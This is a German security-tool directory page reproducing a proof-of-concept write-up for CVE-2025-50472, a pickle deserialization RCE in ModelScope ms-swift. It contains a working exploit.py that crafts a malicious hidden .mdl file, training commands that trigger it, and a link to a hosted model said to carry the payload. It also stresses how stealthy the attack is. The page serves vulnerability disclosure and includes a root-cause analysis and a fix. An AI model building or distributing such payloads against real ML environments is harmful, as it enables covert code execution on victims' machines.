Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-50472 — Proof-of-Concept-Exploit für CVE-2025-50472, eine Deserialisierungs-RCE-Sicherheitslücke im ModelFileSystemCache von ModelScope ms-swift über bösartige .mdl-Dateien. | Kitploit
Tools/GitHubGitHub/before-rain/cve-2025-50472
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-Entwicklung
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

Proof-of-Concept-Exploit für CVE-2025-50472, eine Deserialisierungs-RCE-Sicherheitslücke im ModelFileSystemCache von ModelScope ms-swift über bösartige .mdl-Dateien.

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache – Deserialisierung nicht vertrauenswürdiger Daten – Remote-Codeausführung-Schwachstelle

RCE PoC

Ich habe ein Code-Repository mit einer bösartigen .mdl-Datei zu Testzwecken auf ModelScope hochgeladen. Sie kann während des Tests direkt verwendet werden. Der Link lautet: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

Bild

Die .mdl-Datei enthält eingebetteten bösartigen Code, jedoch wird auf ModelScope keine Sicherheitswarnung angezeigt.

PoC-Code:

root@kitploit:~
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

Das Verfahren zur Reproduktion des Problems ist wie folgt:

  1. Das Modell wird heruntergeladen

    p1
  2. Nachdem der bösartige Code ausgeführt wurde, läuft das Training normal weiter, ohne Unterbrechung

    Bild
  3. Die bösartige Nutzlast wird erfolgreich ausgeführt

    Bild

1. Überblick und Auswirkungen der Schwachstelle:

Die Bibliothek modelscope/ms-swift bis einschließlich Version 2.6.1 ist anfällig für beliebige Codeausführung durch Deserialisierung nicht vertrauenswürdiger Daten innerhalb der Funktion load_model_meta() der Klasse ModelFileSystemCache(). Angreifer können beliebigen Code und Befehle ausführen, indem sie eine bösartige serialisierte .mdl-Nutzlast erstellen und die Verwendung von pickle.load() auf Daten aus potenziell nicht vertrauenswürdigen Quellen ausnutzen. Diese Schwachstelle ermöglicht Remote-Codeausführung (RCE), indem Opfer getäuscht werden, während eines normalen Trainingsprozesses einen scheinbar harmlosen Checkpoint zu laden, wodurch Angreifer beliebigen Code auf dem Zielrechner ausführen können.

Beachten Sie, dass die Nutzlastdatei eine versteckte Datei ist, was es dem Opfer erschwert, Manipulationen zu erkennen. Wichtiger noch: Während des Modelltrainings, nachdem die .mdl-Datei geladen wurde und beliebigen Code ausführt, bleibt der normale Trainingsprozess unbeeinträchtigt, sodass der Benutzer die Ausführung von beliebigem Code nicht bemerkt.

2. Das betroffene Produkt

  • Produkt: modelscope ms-swift
  • Modul: ModelFileSystemCache
  • Datei: swift/hub/utils/caching.py
  • Version: <=2.6.1
  • GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. Ursachenanalyse

  • Detaillierte Beschreibung der Schwachstelle: Die Schwachstelle resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet pickle.load, um die versteckte Cache-Datei zu laden, und ist anfällig für Codeausführung.

  • Codeablauf von der Eingabe bis zur anfälligen Bedingung:

    • Während des Modelltrainings verwendete der Benutzer die Standardmethode zum Herunterladen von Modellen, um ein Modell von ModelScope zu erhalten. Das Modell wurde unter dem Pfad ~/.cache/modelscope/hub/xx/xx gespeichert, wo sich eine .mdl-Cache-Datei im Modellverzeichnis befand, die grundlegende Informationen wie den Modellnamen enthielt.
    • Der Benutzer nutzte dann das heruntergeladene Modell für Feintuning oder andere Trainingsverfahren.
    • Als das Skript caching.py die .mdl-Datei deserialisierte, wurde der darin eingebettete bösartige Code ausgeführt.
  • Einschleusungspunkt: Die Schwachstelle tritt an der Stelle auf, an der pickle.load aufgerufen wird. GitHub Permalink: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • Vorgeschlagene Korrekturen: Bei der Verarbeitung von Konfigurationsdateien (nicht von Modelldateien) wird empfohlen, sicherere Dateiparsing-Methoden wie yaml.safe_load(yaml_file) oder json.load zu verwenden, um das Risiko beliebiger Codeausführung zu mindern.

4. PoC

  1. Führen Sie exploit.py aus, um eine bösartige Cache-Datei .mdl zu erstellen, die ein Verzeichnis auf dem System des Opfers anlegt:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. Ersetzen Sie die ursprüngliche .mdl-Datei im Modellverzeichnis durch die oben erstellte bösartig manipulierte Datei.

  2. Wenn während des Trainings der Parameter model_id_or_path angegeben wird, um auf ein lokales Modellverzeichnis zu verweisen, kann eine manipulierte .mdl-Datei im angegebenen Pfad zu Remote-Codeausführung (RCE) führen. Wichtig: Eine solche Änderung stört den normalen Trainingsablauf nicht, was den RCE-Angriff heimlich und für Benutzer schwer erkennbar macht.

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

Autor

Hao Fan(凡浩) und Yu Rong(戎誉)

Tool herunterladen